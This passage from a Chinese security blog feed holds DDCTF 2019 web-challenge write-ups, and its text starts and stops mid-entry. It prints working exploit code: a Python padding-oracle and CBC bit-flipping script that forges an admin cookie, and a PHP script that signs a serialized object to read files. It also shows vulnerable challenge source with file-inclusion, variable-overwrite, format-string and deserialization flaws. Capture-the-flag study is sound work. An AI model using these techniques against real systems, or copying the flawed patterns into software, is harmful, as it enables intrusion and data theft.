class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">1</span>, N + <span class="number">1</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> xrange(<span class="number">0</span>, <span class="number">256</span>):</span><br><span class="line">            <span class="comment"># print(i,j)</span></span><br><span class="line">            padding = xor(get, chr(i) * (i - <span class="number">1</span>))</span><br><span class="line">            c = chr(<span class="number">0</span>) * (N - i) + chr(j) + padding</span><br><span class="line">            payload=<span class="string">'5061644f7261636c653a69762f636263'</span>+c.encode(<span class="string">'hex'</span>)+ciper_hex</span><br><span class="line">            <span class="comment"># print(payload)</span></span><br><span class="line">            get_api_return=get_api(payload)</span><br><span class="line">            <span class="comment"># print(get_api_return)</span></span><br><span class="line">            <span class="keyword">if</span> <span class="string">"decrypt err~"</span> <span class="keyword">not</span> <span class="keyword">in</span> get_api_return:</span><br><span class="line">                get = chr(j ^ i) + get</span><br><span class="line">                print(get.encode(<span class="string">'hex'</span>))</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">return</span> get.encode(<span class="string">'hex'</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">padding</span><span class="params">(strings)</span>:</span></span><br><span class="line">    padding_len=<span class="number">8</span>-len(strings)%<span class="number">8</span></span><br><span class="line">    <span class="keyword">return</span> strings+chr(padding_len)*padding_len</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_api</span><span class="params">(ciphertext)</span>:</span></span><br><span class="line">    req_header=&#123;<span class="string">'X-Forwarded-For'</span>: <span class="string">''</span>,</span><br><span class="line"><span class="string">'User-Agent'</span>:<span class="string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063'</span>,</span><br><span class="line"><span class="string">'Host'</span>:<span class="string">'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023'</span>,</span><br><span class="line"><span class="string">'Referer'</span>:<span class="string">'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home'</span>,</span><br><span class="line"><span class="string">'Cookie'</span>:<span class="string">'token=&#123;&#125;'</span>.format(ciphertext.decode(<span class="string">'hex'</span>).encode(<span class="string">'base64'</span>)[:<span class="number">-1</span>]),</span><br><span class="line">&#125;</span><br><span class="line">    s = requests.session() </span><br><span class="line">    rsp=s.get(<span class="string">'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token'</span>, headers=req_header,timeout=<span class="number">2</span>,verify=<span class="keyword">False</span>,stream=<span class="keyword">True</span>,allow_redirects=<span class="keyword">False</span>)</span><br><span class="line">    <span class="keyword">return</span>(rsp.content)  </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">cbc_byte_flipping</span><span class="params">(strings)</span>:</span></span><br><span class="line">    token_padding=padding(strings)</span><br><span class="line">    c2=<span class="string">'b8d85a91bdeae799086cc723e7bf1685'</span>.decode(<span class="string">'hex'</span>)</span><br><span class="line">    c2_m=<span class="string">'a7d3878a0466c70b59264b5ed33f5013'</span>.decode(<span class="string">'hex'</span>)</span><br><span class="line">    c1=xor(c2_m,token_padding[<span class="number">16</span>:])</span><br><span class="line">    c1_m=padding_oracle(c1.encode(<span class="string">'hex'</span>), <span class="number">16</span>).decode(<span class="string">'hex'</span>)</span><br><span class="line">    iv=xor(c1_m,token_padding[<span class="number">0</span>:<span class="number">16</span>]) <span class="comment">#iv</span></span><br><span class="line">    <span class="keyword">return</span>((iv+c1+c2).encode(<span class="string">'base64'</span>)[:<span class="number">-1</span>])</span><br><span class="line">print(cbc_byte_flipping(<span class="string">'&#123;"id":1,"roleAdmin":true&#125;'</span>))</span><br></pre></td></tr></table></figure><img src="/2019/04/29/2019ddctf-unsolved-writeup/12.png"><p>这里借用chamd5的wp脚本，利用伪造的cookie我们提权成为admin，能下载到一个txt。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Try to hack~ </span><br><span class="line">Hint:</span><br><span class="line">1. Env: Springboot + JDK8(openjdk version &quot;1.8.0_181&quot;) + Docker~ </span><br><span class="line">2. You can not exec commands~</span><br></pre></td></tr></table></figure><p>后面利用这个文件下载的api可以读取文件，在<code>/proc/self/fd/15</code>可以读到jar包，之后就是java的部分了，GG。官方的提示是<code>jrmp</code>，最后看wp是用的Weblogic JRMP反序列化漏洞打出来的。</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://lightless.me/archives/read-mysql-client-file.html" target="_blank" rel="noopener">https://lightless.me/archives/read-mysql-client-file.html</a></p><p><a href="https://www.zhaoj.in/read-5269.html" target="_blank" rel="noopener">https://www.zhaoj.in/read-5269.html</a></p><p><a href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247485734&amp;idx=1&amp;sn=4d5c92902ece0db4eb29c0addecdb679&amp;chksm=e89e21fedfe9a8e89b42bf1df92ab8907c866df112c4c86bce8a38eafb3d90de9109e6c03516&amp;xtrack=1&amp;scene=0&amp;subscene=131&amp;clicktime=1556023454&amp;ascene=7&amp;devicetype=android-28&amp;version=2700033c&amp;nettype=cmnet&amp;abtest_cookie=BAABAAoACwASABMABQAjlx4AX5keAM2ZHgDamR4A3JkeAAAA&amp;lang=zh_CN&amp;pass_ticket=YMjuQzyV9NBheOwb57Q7IzReaZd3gLT38Yu%252B%252FFcSC8KUJPp78f35Uw%252BPwVZ25nDA&amp;wx_header=1" target="_blank" rel="noopener">https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247485734&amp;idx=1&amp;sn=4d5c92902ece0db4eb29c0addecdb679&amp;chksm=e89e21fedfe9a8e89b42bf1df92ab8907c866df112c4c86bce8a38eafb3d90de9109e6c03516&amp;xtrack=1&amp;scene=0&amp;subscene=131&amp;clicktime=1556023454&amp;ascene=7&amp;devicetype=android-28&amp;version=2700033c&amp;nettype=cmnet&amp;abtest_cookie=BAABAAoACwASABMABQAjlx4AX5keAM2ZHgDamR4A3JkeAAAA&amp;lang=zh_CN&amp;pass_ticket=YMjuQzyV9NBheOwb57Q7IzReaZd3gLT38Yu%252B%252FFcSC8KUJPp78f35Uw%252BPwVZ25nDA&amp;wx_header=1</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;homebrew-event-loop&quot;&gt;&lt;a href=&quot;#homebrew-event-loop&quot; class=&quot;headerlink&quot; title=&quot;homebrew event loop&quot;&gt;&lt;/a&gt;homebrew event loop&lt;/h2&gt;&lt;p&gt;一道
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>2019DDCTF 部分我解决的题目writeup</title>
    <link href="https://hurricane618.me/2019/04/19/2019ddctf-my-solutions-writeup/"/>
    <id>https://hurricane618.me/2019/04/19/2019ddctf-my-solutions-writeup/</id>
    <published>2019-04-19T12:42:51.000Z</published>
    <updated>2019-04-19T13:44:03.905Z</updated>
    
    <content type="html"><![CDATA[<p>我得说DDCTF真的是脑洞太大，一言难尽。。。 </p><h2 id="滴"><a href="#滴" class="headerlink" title="滴~"></a>滴~</h2><p>文件包含，需要一些转换。转成hex值之后两次base64。 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*- </span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64 </span><br><span class="line"><span class="keyword">import</span> binascii </span><br><span class="line"></span><br><span class="line">text = raw_input(<span class="string">'text: '</span>) </span><br><span class="line">text = binascii.b2a_hex(text) </span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> text </span><br><span class="line"><span class="keyword">print</span> base64.b64encode(base64.b64encode(text))</span><br></pre></td></tr></table></figure><p>拿到index.php源码 </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="comment">/* </span></span><br><span class="line"><span class="comment">\* https://blog.csdn.net/FengBanLiuYun/article/details/80616607 </span></span><br><span class="line"><span class="comment">\* Date: July 4,2018 </span></span><br><span class="line"><span class="comment">*/</span> </span><br><span class="line"></span><br><span class="line">error_reporting(E_ALL || ~E_NOTICE); </span><br><span class="line">header(<span class="string">'content-type:text/html;charset=utf-8'</span>); </span><br><span class="line"><span class="keyword">if</span>(! <span class="keyword">isset</span>($_GET[<span class="string">'jpg'</span>])) </span><br><span class="line">    header(<span class="string">'Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'</span>); </span><br><span class="line">$file = hex2bin(base64_decode(base64_decode($_GET[<span class="string">'jpg'</span>]))); </span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;title&gt;'</span>.$_GET[<span class="string">'jpg'</span>].<span class="string">'&lt;/title&gt;'</span>; </span><br><span class="line">$file = preg_replace(<span class="string">"/[^a-zA-Z0-9.]+/"</span>,<span class="string">""</span>, $file); </span><br><span class="line"><span class="keyword">echo</span> $file.<span class="string">'&lt;/br&gt;'</span>; </span><br><span class="line">$file = str_replace(<span class="string">"config"</span>,<span class="string">"!"</span>, $file); </span><br><span class="line"><span class="keyword">echo</span> $file.<span class="string">'&lt;/br&gt;'</span>; </span><br><span class="line">$txt = base64_encode(file_get_contents($file)); </span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;img src='data:image/gif;base64,"</span>.$txt.<span class="string">"'&gt;&lt;/img&gt;"</span>; </span><br><span class="line"><span class="comment">/* </span></span><br><span class="line"><span class="comment">\* Can you find the flag file? </span></span><br><span class="line"><span class="comment">\* </span></span><br><span class="line"><span class="comment">*/</span> </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>sb的题目。。凸(艹皿艹 ) 最后是看其他人提示的<code>practice.txt.swp</code>，得到hint，flag的文件名为<code>f1lg!ddctf.php</code>。这样的话结合上面的替换就可以绕过正则的过滤。。。明显的为了出题而出题，强行构造的畸形题目。 </p><p>最后提交<code>f1lgconfigddctf.php</code>，就能拿到源码。 </p><p>之后看其他人的WP，才发现是通过源码中给的链接搜索到其他文章中的提示，在vi编辑器非正常退出之后会有swp文件残留，这文章就有一个例子。。。无力吐槽这个脑洞。 </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="string">'config.php'</span>); </span><br><span class="line">$k = <span class="string">'hello'</span>; </span><br><span class="line">extract($_GET); </span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($uid)) </span><br><span class="line">&#123; </span><br><span class="line">    $content=trim(file_get_contents($k)); </span><br><span class="line">    <span class="keyword">if</span>($uid==$content) </span><br><span class="line">    &#123; </span><br><span class="line">        <span class="keyword">echo</span> $flag; </span><br><span class="line">    &#125; <span class="keyword">else</span> </span><br><span class="line">    &#123; </span><br><span class="line">        <span class="keyword">echo</span><span class="string">'hello'</span>; </span><br><span class="line">    &#125; </span><br><span class="line">&#125; </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>好吧继续看<code>hello</code>，发现是空的，那么uid也为空就可以了，直接提交<code>uid=</code>，拿到flag。总结一下，sb的题目。 </p><p>DDCTF{436f6e67726174756c6174696f6e73} </p><p>之后发现这里<code>extract</code>注册了变量，所以也可以用变量覆盖的思路来处理这道题。比如<code>k</code>设置成我们服务器上的某个文件，然后<code>uid</code>再设置成相应的值。 </p><h2 id="WEB-签到题"><a href="#WEB-签到题" class="headerlink" title="WEB 签到题"></a>WEB 签到题</h2><p>首先看到没有权限的提示，看了一遍文件，发现有ajax请求，然后它的ddctf_username设置为空，看来是要设置一个值才行，一开始以为是自己的用户名，最后试出来的<code>admin</code>，给了另外一个路径。 </p><p>访问之后给了源码。 </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">app/Application.php </span><br><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="class"><span class="keyword">Class</span> <span class="title">Application</span> </span>&#123; </span><br><span class="line"><span class="keyword">var</span> $path = <span class="string">''</span>; </span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">response</span><span class="params">($data, $errMsg = <span class="string">'success'</span>)</span> </span>&#123; </span><br><span class="line">$ret = [<span class="string">'errMsg'</span> =&gt; $errMsg, </span><br><span class="line">        <span class="string">'data'</span> =&gt; $data]; </span><br><span class="line">$ret = json_encode($ret); </span><br><span class="line">header(<span class="string">'Content-type: application/json'</span>); </span><br><span class="line"><span class="keyword">echo</span> $ret; </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">auth</span><span class="params">()</span> </span>&#123; </span><br><span class="line">$DIDICTF_ADMIN = <span class="string">'admin'</span>; </span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">empty</span>($_SERVER[<span class="string">'HTTP_DIDICTF_USERNAME'</span>]) &amp;&amp; $_SERVER[<span class="string">'HTTP_DIDICTF_USERNAME'</span>] == $DIDICTF_ADMIN) &#123; </span><br><span class="line">    <span class="keyword">$this</span>-&gt;response(<span class="string">'您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'</span>); </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">TRUE</span>; </span><br><span class="line">&#125;<span class="keyword">else</span>&#123; </span><br><span class="line">    <span class="keyword">$this</span>-&gt;response(<span class="string">'抱歉，您没有登陆权限，请获取权限后访问-----'</span>,<span class="string">'error'</span>); </span><br><span class="line">    <span class="keyword">exit</span>(); </span><br><span class="line">&#125; </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">sanitizepath</span><span class="params">($path)</span> </span>&#123; </span><br><span class="line">$path = trim($path); </span><br><span class="line">$path=str_replace(<span class="string">'../'</span>,<span class="string">''</span>,$path); </span><br><span class="line">$path=str_replace(<span class="string">'..\\'</span>,<span class="string">''</span>,$path); </span><br><span class="line"><span class="keyword">return</span> $path; </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span> </span>&#123; </span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">empty</span>(<span class="keyword">$this</span>-&gt;path)) &#123; </span><br><span class="line">    <span class="keyword">exit</span>(); </span><br><span class="line">&#125;<span class="keyword">else</span>&#123; </span><br><span class="line">    $path = <span class="keyword">$this</span>-&gt;sanitizepath(<span class="keyword">$this</span>-&gt;path); </span><br><span class="line">    <span class="keyword">if</span>(strlen($path) !== <span class="number">18</span>) &#123; <span class="comment">// path长度必须为18 ....//././config/flag </span></span><br><span class="line">        <span class="keyword">exit</span>(); </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">$this</span>-&gt;response($data=file_get_contents($path),<span class="string">'Congratulations'</span>); </span><br><span class="line">&#125; </span><br><span class="line"><span class="keyword">exit</span>(); </span><br><span class="line">&#125; </span><br><span class="line">&#125; </span><br><span class="line"><span class="meta">?&gt;</span> </span><br><span class="line"></span><br><span class="line">app/Session.php </span><br><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span> <span class="string">'Application.php'</span>; </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Session</span> <span class="keyword">extends</span> <span class="title">Application</span> </span>&#123; </span><br><span class="line"><span class="comment">//key建议为8位字符串 </span></span><br><span class="line">    <span class="keyword">var</span> $eancrykey = <span class="string">''</span>; </span><br><span class="line">    <span class="keyword">var</span> $cookie_expiration = <span class="number">7200</span>; </span><br><span class="line">    <span class="keyword">var</span> $cookie_name = <span class="string">'ddctf_id'</span>; </span><br><span class="line">    <span class="keyword">var</span> $cookie_path = <span class="string">''</span>; </span><br><span class="line">    <span class="keyword">var</span> $cookie_domain = <span class="string">''</span>; </span><br><span class="line">    <span class="keyword">var</span> $cookie_secure = <span class="keyword">FALSE</span>; </span><br><span class="line">    <span class="keyword">var</span> $activity = <span class="string">"DiDiCTF"</span>; </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">index</span><span class="params">()</span> </span></span><br><span class="line"><span class="function">    </span>&#123; </span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">parent</span>::auth()) &#123; </span><br><span class="line">        <span class="keyword">$this</span>-&gt;get_key(); <span class="comment">// ../config/key.txt 的内容 </span></span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">$this</span>-&gt;session_read()) &#123; </span><br><span class="line">            $data = <span class="string">'DiDI Welcome you %s'</span>; </span><br><span class="line">            $data = sprintf($data,$_SERVER[<span class="string">'HTTP_USER_AGENT'</span>]); </span><br><span class="line">            <span class="keyword">parent</span>::response($data,<span class="string">'sucess'</span>); </span><br><span class="line">        &#125;<span class="keyword">else</span>&#123; </span><br><span class="line">            <span class="keyword">$this</span>-&gt;session_create(); </span><br><span class="line">            $data = <span class="string">'DiDI Welcome you'</span>; </span><br><span class="line">            <span class="keyword">parent</span>::response($data,<span class="string">'sucess'</span>); </span><br><span class="line">        &#125; </span><br><span class="line">    &#125; </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">get_key</span><span class="params">()</span> </span>&#123; </span><br><span class="line">    <span class="comment">//eancrykey and flag under the folder </span></span><br><span class="line">    <span class="keyword">$this</span>-&gt;eancrykey = file_get_contents(<span class="string">'../config/key.txt'</span>); </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">session_read</span><span class="params">()</span> </span>&#123; </span><br><span class="line">    <span class="keyword">if</span>(<span class="keyword">empty</span>($_COOKIE)) &#123; </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">FALSE</span>; </span><br><span class="line">    &#125; </span><br><span class="line">    $session = $_COOKIE[<span class="keyword">$this</span>-&gt;cookie_name]; <span class="comment">//ddctf_id </span></span><br><span class="line">    <span class="keyword">if</span>(!<span class="keyword">isset</span>($session)) &#123; </span><br><span class="line">         <span class="keyword">parent</span>::response(<span class="string">"session not found"</span>,<span class="string">'error'</span>); </span><br><span class="line">         <span class="keyword">return</span> <span class="keyword">FALSE</span>; </span><br><span class="line">    &#125; </span><br><span class="line">    $hash = substr($session,strlen($session)<span class="number">-32</span>); <span class="comment">// 最后32位为hash </span></span><br><span class="line">    $session = substr($session,<span class="number">0</span>,strlen($session)<span class="number">-32</span>); <span class="comment">// 前面为session </span></span><br><span class="line">    <span class="keyword">if</span>($hash !== md5(<span class="keyword">$this</span>-&gt;eancrykey.$session)) &#123; <span class="comment">// 做验证 </span></span><br><span class="line">        <span class="keyword">parent</span>::response(<span class="string">"the cookie data not match"</span>,<span class="string">'error'</span>); </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">FALSE</span>; </span><br><span class="line">    &#125; </span><br><span class="line">$session = unserialize($session); <span class="comment">//触发反序列化读文件 </span></span><br><span class="line">    <span class="keyword">if</span>(!is_array($session) <span class="keyword">OR</span> !<span class="keyword">isset</span>($session[<span class="string">'session_id'</span>]) <span class="keyword">OR</span> !<span class="keyword">isset</span>($session[<span class="string">'ip_address'</span>]) <span class="keyword">OR</span> !<span class="keyword">isset</span>($session[<span class="string">'user_agent'</span>]))&#123; </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">FALSE</span>; </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">if</span>(!<span class="keyword">empty</span>($_POST[<span class="string">"nickname"</span>])) &#123; </span><br><span class="line">        $arr = <span class="keyword">array</span>($_POST[<span class="string">"nickname"</span>],<span class="keyword">$this</span>-&gt;eancrykey); </span><br><span class="line">        $data = <span class="string">"Welcome my friend %s"</span>; </span><br><span class="line">        <span class="keyword">foreach</span> ($arr <span class="keyword">as</span> $k =&gt; $v) &#123; </span><br><span class="line">            $data = sprintf($data,$v); </span><br><span class="line">        &#125; </span><br><span class="line">        <span class="keyword">parent</span>::response($data,<span class="string">"Welcome"</span>); </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">if</span>($session[<span class="string">'ip_address'</span>] != $_SERVER[<span class="string">'REMOTE_ADDR'</span>]) &#123; </span><br><span class="line">        <span class="keyword">parent</span>::response(<span class="string">'the ip addree not match'</span>.<span class="string">'error'</span>); </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">FALSE</span>; </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">if</span>($session[<span class="string">'user_agent'</span>] != $_SERVER[<span class="string">'HTTP_USER_AGENT'</span>]) &#123; </span><br><span class="line">        <span class="keyword">parent</span>::response(<span class="string">'the user agent not match'</span>,<span class="string">'error'</span>); </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">FALSE</span>; </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">TRUE</span>; </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">session_create</span><span class="params">()</span> </span>&#123; </span><br><span class="line">    $sessionid = <span class="string">''</span>; </span><br><span class="line">    <span class="keyword">while</span>(strlen($sessionid) &lt; <span class="number">32</span>) &#123; </span><br><span class="line">        $sessionid .= mt_rand(<span class="number">0</span>,mt_getrandmax()); </span><br><span class="line">    &#125; </span><br><span class="line">    $userdata = <span class="keyword">array</span>( </span><br><span class="line">        <span class="string">'session_id'</span> =&gt; md5(uniqid($sessionid,<span class="keyword">TRUE</span>)), </span><br><span class="line">        <span class="string">'ip_address'</span> =&gt; $_SERVER[<span class="string">'REMOTE_ADDR'</span>], </span><br><span class="line">        <span class="string">'user_agent'</span> =&gt; $_SERVER[<span class="string">'HTTP_USER_AGENT'</span>], </span><br><span class="line">        <span class="string">'user_data'</span> =&gt; <span class="string">''</span>, </span><br><span class="line"></span><br><span class="line">    ); </span><br><span class="line">    $cookiedata = serialize($userdata); </span><br><span class="line">    $cookiedata = $cookiedata.md5(<span class="keyword">$this</span>-&gt;eancrykey.$cookiedata); </span><br><span class="line">    $expire = <span class="keyword">$this</span>-&gt;cookie_expiration + time(); </span><br><span class="line">    setcookie( </span><br><span class="line">        <span class="keyword">$this</span>-&gt;cookie_name, </span><br><span class="line">        $cookiedata, </span><br><span class="line">        $expire, </span><br><span class="line">        <span class="keyword">$this</span>-&gt;cookie_path, </span><br><span class="line">        <span class="keyword">$this</span>-&gt;cookie_domain, </span><br><span class="line">        <span class="keyword">$this</span>-&gt;cookie_secure </span><br><span class="line">    ); </span><br><span class="line">&#125; </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line">$ddctf = <span class="keyword">new</span> Session(); </span><br><span class="line">$ddctf-&gt;index(); </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>这里的突破口在密钥上，一开始认为是利用hash扩展攻击，但是不对，后来经友人提醒才发现忘记了<code>sprintf</code>，这里有格式字符串问题。传入<code>%s</code>让格式字符串保持拥有<code>%s</code>，就可以拿到密钥了。 </p><img src="/2019/04/19/2019ddctf-my-solutions-writeup/1.jpg"><p><code>EzblrbNS</code>，拿到之后我们就可以对数据做签名，来绕过hash验证。最后通过反序列化触发Application类的魔法函数，可以读取文件，path有一个限制长度必须为18。 </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="class"><span class="keyword">Class</span> <span class="title">Application</span> </span>&#123; </span><br><span class="line">    <span class="keyword">var</span> $path = <span class="string">'..././config/flag.txt'</span>; </span><br><span class="line">&#125; </span><br><span class="line">$userdata = <span class="keyword">new</span> Application(); </span><br><span class="line">$cookiedata = serialize($userdata); </span><br><span class="line"><span class="keyword">echo</span> $cookiedata; </span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;br&gt;"</span>; </span><br><span class="line">$key = <span class="string">'EzblrbNS'</span>; </span><br><span class="line">$hash = md5($key.$cookiedata); </span><br><span class="line"><span class="keyword">echo</span> urlencode($cookiedata.$hash); </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>这里考虑到<code>preg_replace</code>可以采用递归写法绕过，同时结合源代码分析，我们就知道只要绕过hash验证就能随意反序列化，为了让代码更加简洁，我们只需要生成<code>Application</code>对象，并且让<code>path</code>为flag路径就可以了。 </p><p>最后代入cookie，提交请求，可以看到flag。 </p><img 